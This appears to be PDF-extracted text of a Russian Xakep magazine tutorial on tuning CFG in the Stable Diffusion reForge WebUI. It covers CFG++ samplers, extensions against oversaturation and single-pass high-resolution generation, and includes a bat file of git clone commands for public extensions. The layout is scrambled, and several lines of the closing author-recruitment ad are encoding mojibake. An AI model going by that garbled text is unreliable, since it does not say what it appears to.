созданное на  основе негативных ключевых слов, описывающих то, чего мы
не хотим видеть в окончательном изображении.

Баланс между предсказаниями cond и  uncond управляется параметром
CFG (Classifier-Free Guidance), который служит своеобразным мультипликато‐
ром. Высокие значения CFG приводят к увеличению расстояния между пред‐
сказаниями и, соответственно, усилению вклада cond. Это повышает детали‐
зацию и точность следования запросу.

Минимальное значение параметра CFG  — единица (однако его можно
снизить до  нуля редактированием файла настроек; дробные значения CFG
могут оказаться полезными для  работы некоторых типов семплеров), мак‐
симальное — 35, среднее — от 3 до 7.

С ростом CFG, помимо детализации, растут контраст и  насыщенность
(цветовой контраст) изображения. При  низких значениях CFG на  выходе
будет блеклая, малоконтрастная картинка с высокой степенью креативности
и слабым следованием запросу. Если же значение CFG поднять выше допус‐
тимого для  модели максимума, то картинка выйдет детализированной,
но «пережженной».

В статье «
» я немного рассказал о  том, на  что влияет CFG в  модели Flux

и как правильно выбрать его значение. Сегодня же я хочу поговорить о вари‐
антах использования экстремальных значений CFG, как  очень низких, так
и чрезвычайно высоких.

Фишки Flux.1. Добиваемся лучших картинок от новой генератив‐
ной модели

Низкие значения CFG: высокая креативность, но низкий контраст
Начнем, пожалуй, с работы с низкими значениями CFG. Насколько низкими?
В зависимости от модели, «низкими значениями» могут быть как CFG = 3, так
и  дробные CFG = 0,3...0,9. Плюсы низких значений CFG  — креативность
и  разнообразие, а  также более точное следование выбранному стилю (от
карандашных набросков до  фотореализма). Разработчики многих моделей,
оптимизированных под  реализм, рекомендуют использовать пониженные
значения CFG для  достижения максимальной фотореалистичности; более
высокие значения в  таких моделях создают более гладкие, «синтетические»
изображения.

INFO

Значения CFG относительны, а  определение
«низких» и  «высоких» значений CFG зависит
от конкретной модели. В дистиллированных (Flux)
и  ускоренных (Lightning, Turbo, Hyper, DMD2)
моделях нормой считаются значения CFG
от  1  до  1,5, и  проблем с  контрастом это  не
вызывает. Реже встречаются модели, рекомен‐
дующие значения CFG порядка  11  — и  также
не имеющие проблем с контрастом.

Все хорошо, но  низкие значения CFG приводят к  созданию креативных
и прекрасно стилизованных изображений, которые выглядят блекло. Бороть‐
ся с  этим помогают семплеры класса CFG++. Метод CFG++ (Manifold-
Constrained Classifier-Free Guidance) помогает улучшить качество выборки
и обеспечить более точное следование запросу. Не вдаваясь в технические
подробности, скажу, что CFG++ помогает справиться с артефактами (смазан‐
ные границы, искажения, неестественные формы объектов). Например,
метод может устранять проблемы, связанные с  некорректным рендерингом
(двойные хвосты у  животных, руки с  шестью и  более пальцами, взаимоп‐
роникающие объекты и прочее).

Все эти преимущества достигаются при  использовании семплеров класса
CFG++ и  при минимальных значениях шкалы CFG, в  большинстве случаев
меньших единицы (в reForge шкала CFG по  умолчанию начинается с  еди‐
ницы). Чтобы получить возможность использовать дробные значения в диапа‐
зоне от  0  до  1, нужно отредактировать файл , найдя

параметр  и  изменив его значение с  единицы
на ноль.

webui\ui-config.json
txt2img/CFG Scale/minimum

"txt2img/CFG Scale/minimum": 0,


Эти семплеры переопределяют шкалу CFG; при  их использовании число
шагов стоит выставить равным 50, а значение CFG выбрать дробным из про‐
межутка от 0 до 1. Вот так, например, выглядит изображение, сгенерирован‐
ное семплером DPM++ 3M SDE CFG++ при значении CFG = 0,7.

Для сравнения: обычный DPM++ 3M SDE отрабатывает с CFG = 4 следующим
образом.

Впрочем, разные семплеры требуют разных подходов. Так, модификация
семплера Euler SMEA Dy CFG++ требует установить шкалу CFG в  зна‐
чение 1,5 или даже 3.

Для сравнения  — тот же семплер в  стандартном исполнении (без CFG++),
со значением шкалы 7.

Обрати внимание: семплеры CFG++ несовместимы со многими расширени‐
ями. Например, на  данный момент не  работает SWG (Smoothed Windows
Guidance), режим Warp Drive из AutomaticCFG.

Высокие значения CFG: точное следование запросу и
детализация, сопровождаемые «выгоранием»
Способов борьбы с выгоранием при использовании высоких значений шкалы
CFG придумано гораздо больше. Эти способы очень разные, и  результат
работы одного расширения разительно отличается от  результатов других.
Какие‑то способы совместимы, какие‑то конфликтуют между собой,
а какие‑то не поддерживают некоторые семплеры (в первую очередь — сем‐
плеры класса CFG++, которые решают схожую задачу). В  результате
однозначно ткнуть пальцем и сказать «используй это» невозможно; для раз‐
ных ситуаций подходят разные способы.

DynamicThresholding (CFG-Fix)
Встроенное расширение DynamicThresholding (CFG-Fix) Integrated стало
одним из первых решений, ограничивающих негативный эффект высоких зна‐
чений CFG. Использование этого расширения требует предварительной нас‐
тройки; рекомендую начать с тех значений, которые показаны на скриншоте
(за исключением параметра Mimic Scale, который нужно менять в зависимос‐
ти от модели и значения шкалы CFG).

Идея довольно проста и  не требует сложных математических вычислений.
На  начальных шагах генерации алгоритм использует пониженное значение
CFG, постепенно поднимая его в  зависимости от  этапа генерации.
Это  помогает минимизировать выгорание в  начале генерации и  повысить
детализацию в ее конце.

Использование этого расширения, в  частности, позволяет создавать
изображения с  широким динамическим диапазоном (псевдо-HDR); если ты
хочешь добиться именно такого эффекта  — смело начинай эксперимен‐
тировать с DynamicThresholding. Несмотря на возраст и относительную прос‐
тоту алгоритма, не стоит пренебрегать этим расширением, но использовать
его постоянно и со всеми моделями, вероятно, не надо.

Продолжение статьи
→

mailto:aoleg@voicecallcentral.com
https://xakep.ru/2024/09/20/flux-1-tips/
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RescaleCFG
Следующее расширение —  — выглядит максимально
просто: единственная настройка мультипликатора CFG, и ничего более. Алго‐
ритм сжимает динамический диапазон изображения, основываясь на  зна‐
чении мультипликатора. Если начальное значение шкалы CFG слишком
высокое, то в  результате на  выходе ты получишь типичный псевдо-HDR, что
и демонстрирует изображение с CFG = 15 и мультипликатором RescaleCFG =
0,8.

RescaleCFG for reForge

Если же подойти к  делу более аккуратно и  использовать CFG = 7  с  тем же
мультипликатором, результат получится намного более естественным.

На основе аналогичных методов реализованы функции rescale в расширени‐
ях, реализующих внутреннее внимание; имей это  в виду и  не используй
отдельное расширение RescaleCFG, если источник «выгорания»  — функция
внутреннего внимания.

AutomaticCFG
В расширение  встроено сразу несколько методов
ограничения CFG: Simple CFG, Dynamic CFG, Warp Drive, Preset Loader (боль‐
ше половины пресетов не  работает) и  Post CFG Rescale. Автор рас‐
ширения — разработчик reForge, который портировал метод из соответству‐
ющей .

AutomaticCFG for reForge

ноды для Comfy

git clone https://github.com/Panchovix/reForge-AutomaticCFG.git

В простейшем случае (режим Simple) число настроек минимально.

В этом режиме расширение заменяет шкалу CFG таким образом, чтобы
при  прочих равных выдавать картинку, похожую на  ту, которую усредненная
модель выдаст при CFG = 8 (это личное предпочтение разработчика, о чем он
и   в документации). Соответственно, те значения, которые ты укажешь
в  поле CFG, будут учитываться как  твои пожелания к  уровню насыщенности
и контраста по отношению к «среднему» значению 8. Начинать эксперименты
нужно с  указания CFG = 8  — и  дальше смотреть, стоит ли менять этот
параметр в  сторону увеличения или  уменьшения контраста и  насыщенности
картинки. Ниже — пример с CFG = 8:

пишет

А теперь  — вишенка на  торте, официальная рекомендация разработчика
AutomaticCFG, выведенная на  самом верху репозитория: «Бросайте вот
это всё и айда сюда!» Куда именно «айда»? В плагин !Skimmed CFG

Warp Drive: ускорение генерации
В том же самом AutomaticCFG спрятана еще одна вкладка — Warp Drive. Если
ты включишь Warp Drive (все прочие функции расширения, в том числе Simple,
должны быть отключены), то генерация ускорится на  160% при  исполь‐
зовании шедулера Align Your Steps (по крайней мере, так утверждает раз‐
работчик). Фактическое ускорение зависит от множества параметров, но сок‐
ратить время генерации (включая hires.fix) с  40  до  30  секунд мне удалось.
А  чем приходится платить за  скорость? Механизм пропускает расчет пред‐
сказания uncond в большей (в конфигурации 1/1/1) или меньшей (в осталь‐
ных конфигурациях) степени, что однозначно меняет картинку  — и  далеко
не  всегда в  худшую сторону (точнее, в  качестве uncond берется некое 

 предыдущего и  текущего значений cond). Так что эту
функцию можно попробовать; результат может порадовать или разочаровать,
но он определенно будет отличаться.

ус‐
редненное значение

Результат как  минимум оригинальный. Стоит попробовать его и  в других
условиях.

Warp Drive с CFG = 12

INFO

Другие функции ограничения CFG совместно
с  Warp Drive не  работают. Придется выбирать:
или одно, или другое.

APG’s now your CFG
Для постоянного использования рекомендую встроенное в  reForge рас‐
ширение с длинным названием “APG’s now your CFG” and Guidance Limiter for
reForge. Оно использует механизм, описанный в  исследовании 

. Авторы
предлагают новый механизм работы CFG (Classifier-Free Guidance), который
должен устранить проблему выгорания изображений при высоких значениях
шкалы. Идея в том, чтобы разделить CFG на параллельный и ортогональный
компоненты, уменьшить влияние первого (вызывающего выгорание) и  уси‐
лить — второго. Новый метод APG (Adaptive Projected Guidance) в теории сох‐
раняет преимущества CFG, позволяя использовать повышенные значения
шкалы и улучшая качество генерации без замедления.

Eliminating
Oversaturation and Artifacts of High Guidance Scales in Diffusion Models

Сильное влияние на генерацию оказывает параметр APG Momentum. С нас‐
тройками по умолчанию (APG Momentum = 0,5), как на скриншоте, APG мало
влияет на  «выгорание» картинки, но  качество и  детализация картинки улуч‐
шаются при  использовании средних значений CFG. В 
пришли к выводу, что настройки по умолчанию отлично работают с нормаль‐
ными для  модели значениями шкалы CFG (обычно от  5  до  7). Я пришел
к  такому же выводу независимо от  автора дискуссии, и  расширение APG
с настройками по умолчанию (APG Momentum = 0,5) у меня теперь постоянно
включено.

обсуждении на  Reddit

CFG = 3 без APG (настройки по умолчанию, Momentum = 0,5)

С APG

Значения по умолчанию не помогают справиться с высоким CFG.

Momentum = 0,5, CFG = 12

В то же время отрицательные значения APG Momentum (в промежутке от  –
0,25  до  –0,75) отлично помогают справиться с  выгоранием на  высоких зна‐
чениях CFG.

Снижение Momentum до –0,25 уже дает заметный эффект.

Продолжение статьи
→

https://comfyui-wiki.com/en/comfyui-nodes/advanced/model/rescale-cfg
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https://huggingface.co/papers/2410.02416
https://www.reddit.com/r/StableDiffusion/comments/1fxbfzn/apg_instead_of_cfg_to_prevent_oversaturation/
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В качестве эксперимента можно попробовать установить APG Momentum
в значение –1, а CFG в промежутке от 8 до 12.

Наконец, можно попробовать экстремальное значение: APG Momentum
в значение –1, а CFG = 15.

Skimmed CFG
Также рекомендую расширение Skimmed CFG. Оно тоже призвано сдер‐
живать «выгорание» картинки при высоких значениях CFG.

Устанавливаем:

git clone https://github.com/Panchovix/reForge-SkimmedCFG.git


Из всех протестированных расширений контроля выгорания это  показалось
мне самым интересным. Во‑первых, оно действительно способно сдержать
негативные эффекты от  высоких значений шкалы CFG. Ниже  — картинка
с CFG = 30 и линейной интерполяцией Skimmed CFG = 3.

Во‑вторых, использование этого расширения способно улучшить картинку
в плане отрисовки мелких деталей. Качество повысится благодаря сглажива‐
нию избыточных деталей, которые так и норовят вылезти на высоких значени‐
ях шкалы CFG.

ВЫСОКОЕ РАЗРЕШЕНИЕ В ОДИН ПРОХОД

Время от  времени хочется создать картинку быстро, сразу в  высоком раз‐
решении, не применяя медленный hires.fix. У моделей SDXL, в отличие от SD
3.5 Large, нет архитектурных ограничений, запрещающих генерировать кар‐
тинки практически в  любом разрешении; единственное условие  — раз‐
мерности сторон должны быть кратны  64. В  то же время большинство
моделей обучались на изображениях в одном из предопределенных стандар‐
тных разрешений, и попытка немного «растянуть» картинку — хотя бы в пол‐
тора раза, до 1024 ✕ 1536, — может привести к видимым искажениям. Вот так
модель albedobaseXL_v31Large обработает наш тестовый запрос.

Поскольку использовалось нестандартное для  SDXL разрешение  1024 ✕
1536, а у модели отсутствует база, появляются искажения. На картинке выше
торс и шея летчицы вытянуты; изображение смотрится неестественно.

Чтобы обойти эту проблему, была разработана технология Kohya Deep
Shrink. Метод прост: первые X шагов изображение генерируется в понижен‐
ном разрешении (во сколько раз понижать разрешение, задается парамет‐
ром), создавая основу; последующие шаги модель отрабатывает в  полном
разрешении, детализируя эту основу. В теории такой подход позволяет избе‐
жать дублирования крупных деталей (например, числа хвостов и лап у кошек),
в то же время на последних шагах создавая детальное изображение.

После включения встроенного в  reForge расширения Kohya HRFix Integrated
с настройками по умолчанию получается уже такая картинка.

Обрати внимание: желаемое разрешение указывается сразу в основных нас‐
тройках высоты и  ширины картинки, а  hires.fix можно отключить (если ты его
включишь, то разрешение будет повышено еще раз).

В то же время возможности этого подхода ограниченны; реалистичный
предел Kohya HRFix при  генерации объектов с  узнаваемыми пропорциями
(люди, животные) — полуторакратное повышение разрешения.

Попробуй установить размеры изображения  1536  на  1152 (неважно, в  пор‐
третной или  альбомной ориентации), включить Kohya HRFix и  установить
параметры Downscale Factor = 1,5, Start Percent = 0, End Percent = 0,65.
В качестве семплера можно установить Euler DY CFG++ с соответствующим
невысоким значением CFG, а  в качестве шедулера  — Beta или  Align Your
Steps. Обычный hires.fix можно отключить вовсе или  установить в  консерва‐
тивное значение  1,5; для  второго прохода имеет смысл установить альтер‐
нативный семплер DPM++ 3M DY (для более высокой детализации). Многие
модели с такими настройками выдадут результат, превосходящий по качеству
генерации в стандартном разрешении.

Почему именно такое разрешение? Потому что как  сами цифры, так
и результат их деления на 1,5 должен быть кратным 64. Можешь попробовать
и другие подобные варианты.

Появился также новый интересный вариант, основанный на  похожей тех‐
нологии, но реализующий ее на качественно другом уровне.  поз‐
воляет одновременно увеличить разрешение картинки и скорость генерации
(забегая вперед: да, это  действительно работает, пусть и  с определенными
ограничениями и не на всех моделях).

HiDiffusion

Расширение устанавливается обычным способом:

git clone https://github.com/Panchovix/reforge_jankhidiffusion.git


После перезапуска reForge в  интерфейсе появится вкладка RAUNet/MSW-
MSA for reForge. Активируй основное расширение, после чего включи нас‐
тройки RAUNet Simple Enabled (вкладка RAUNet Simple) и  MSW-MSA Simple
Enabled (вкладка MSW-MSA Simple). Второе  — не  обязательно; MSA может
помочь увеличить скорость генерации, но  может и  не помочь. Настройки
RAUNet показаны на скриншоте.

Выбираем SDXL и high (1536–2048)

Изображение на выходе

Композиция и  детализация заметно отличаются и  от генерации, не  исполь‐
зующей Deep Shrink вообще, и  от результата Kohya HRFix. Стоит сгенери‐
ровать несколько изображений с  разными сюжетами, чтобы понять, какая
технология лучше. Мой выбор — в пользу RAUNet.

У RAUNet есть и  ряд дополнительных настроек, доступных на  вкладке
Advanced. Прежде чем включать расширенную версию метода, отключи
RAUNet Simple. На  вкладке расширенных настроек можно менять слои,
к которым применяется механизм, а также настраивать начало и конец дей‐
ствия настроек пониженного разрешения.

Можно экспериментировать с настройками механизма Cross-Attention; инте‐
ресный результат иногда можно получить, изменив CA Start Time на 0,45 и CA
End Time на 0,65. Следующая картинка сгенерирована именно с такими нас‐
тройками.

Технология RAUNet может использоваться и  для генерации изображений
сверхвысокого разрешения — например, размером 1536 на 2048 точек, что
уже в  три раза превышает штатные возможности моделей SDXL. Не  все
модели способны работать в этом разрешении, и далеко не всегда результат
получается ожидаемым. Лучше всего в  этом разрешении работают ани‐
ме‑модели (например, на базе Illustrious) и относительно свежие обученные
модели и их ремиксы, созданные во второй половине 2024-го.

Наконец, с  использованием RAUNet почти любые модели способны соз‐
давать гипердетальные изображения объектов и природы, в которых челове‐
ческому глазу незаметны нарушения пропорций. А  вот для  консервативных
настроек, возможно, стоит использовать Kohya, в  которой можно указать
меньший делитель для пониженного разрешения.

INFO

Технология RAUNet несовместима с  моделями
CosXL и  не всегда хорошо работает с  моделями
v-pred (V-predition).

Продолжение статьи
→

https://hidiffusion.github.io/


ЗАПРЕТНЫЙ SDXL
НАРУШАЕМ ПРАВИЛА

И РАСШИРЯЕМ ГРАНИЦЫ
ВОЗМОЖНОГО ПРИ ГЕНЕРАЦИИ

КАРТИНОК

GEEK 
НАЧАЛО СТАТЬИ←

А ТЕПЕРЬ — ВСЕ В ОДНОМ

Наконец, воспользуемся полученными знаниями, чтобы создать несколько
картинок в  стиле аниме в  максимально возможном качестве и  разрешении
за  минимальное время. Генерировать будем сразу в  разрешении  1536 ✕
2048, установив в WebUI соответствующие настройки.

Модель: можно выбрать любую свежую модель на  основе Illustrious
с типом предсказания EPS (но не v-pred), например .harmoniqmixEpred_v11

В качестве семплера воспользуемся одним из вариантов CFG++; я выбрал
Euler DY CFG++, альтернативы — другие семплеры, в названии которых при‐
сутствуют обе части  — Dy и  CFG++. Шедулер  — Beta. Шкалу CFG Scale
подобрал экспериментально, для  выбранной модели и  настроек CFG = 2,5.
Hires.fix отключен, так как мы сразу создаем картинку в нужном разрешении.
Число шагов установил в 50 (можно и меньше, но экономятся считаные секун‐
ды).

Итого: Euler DY CFG++, Beta, 50 steps, CFG = 2,5.
Далее — расширения:
FreeU Integrated — включено, настройки по умолчанию;•
RAUNet/MSW-MSA for reForge  — включено, настройки по  умолчанию
RAUNet Simple Enabled и MSW-MSA Simple Enabled;

•

APG’s now your CFG and Guidance Limiter for reForge — включено, настрой‐
ки по умолчанию (Momentum = 0,5);

•

Enable Guidance Limiter — включено, настройки по умолчанию (5,42/0,28).•

Для начала — почему так важен выбор семплера. Один и тот же запрос, раз‐
ные семплеры.

Euler DY CFG++ и  Euler SMEA DY CFG++ похожи; можно пользоваться
любым.

А вот DPM++ 2M DY CFG++ дает совершенно другую картинку, с большей чет‐
костью и  избыточной детализацией. Мне пришлось снизить значение CFG
до 1,5, чтобы избежать появления шума.

А в  следующей паре примеров запрос был целиком идентичный; сравни
результат (Euler DY CFG++ и DPM++ 2M DY CFG++ соответственно).

И еще пара примеров с теми же настройками.

Наконец, в  качестве демонстрации возможностей модели  — два изоб‐
ражения, «нарисованных» разными авторами.

ВСЕ РАСШИРЕНИЯ В ОДНОМ ФАЙЛЕ

Ниже приводится bat-файл, который можно запустить в  папке 

, чтобы установить все расширения, перечисленные в этой статье

и в .

webui\
extensions

предыдущей

REM Расширения пользовательского интерфейса

REM SD Webui Tabs Extension

git clone https://github.com/Haoming02/sd-webui-tabs-extension

REM Aspect Ratio Selection: выбрать одно из них

git clone https://github.com/altoiddealer/--sd-webui-ar-plusplus

REM git clone https://github.com/alemelis/sd-webui-ar

REM WebUI Agent Scheduler

git clone https://github.com/ArtVentureX/sd-webui-agent-scheduler

REM Config Presets

git clone https://github.com/Zyin055/Config-Presets

REM Civitai Helper

git clone https://github.com/zixaphir/Stable-Diffusion-Webui-Civitai-
Helper

git clone https://github.com/DominikDoom/a1111-sd-webui-tagcomplete.
git

git clone https://github.com/adieyal/sd-dynamic-prompts.git


REM Расширения для сегментации и детализации сегментов изображения

git clone https://github.com/Bing-su/adetailer.git

git clone https://github.com/wkpark/uddetailer


git clone https://github.com/pamparamm/sd-perturbed-attention.git


REM Расширения от разработчика 
reForge. Можно устанавливать пакетом или по отдельности

REM Forge Latent modifier:

git clone https://github.com/Panchovix/sd_forge_latent_modifier.git

REM Automatic CFG:

git clone https://github.com/Panchovix/reForge-AutomaticCFG.git
REM Skimmed CFG:

git clone https://github.com/Panchovix/reForge-SkimmedCFG.git

REM Differential Diffusion:

git clone https://github.com/Panchovix/reForge-DifferentialDiffusion.
git

REM reForge HiDiffusion (Raunet, MSW-MSWA):

git clone https://github.com/Panchovix/reforge_jankhidiffusion.git


REM Расширения настроек изображений

REM Forge Couple

git clone https://github.com/Haoming02/sd-forge-couple

git clone https://github.com/hako-mikan/sd-webui-cd-tuner

git clone https://github.com/hnmr293/sd-webui-cutoff

git clone https://github.com/hako-mikan/sd-webui-prevent-artifact

git clone https://github.com/Haoming02/sd-webui-vectorscope-cc


https://civitai.com/models/1027226
https://xakep.ru/2025/01/15/sd-extensions/


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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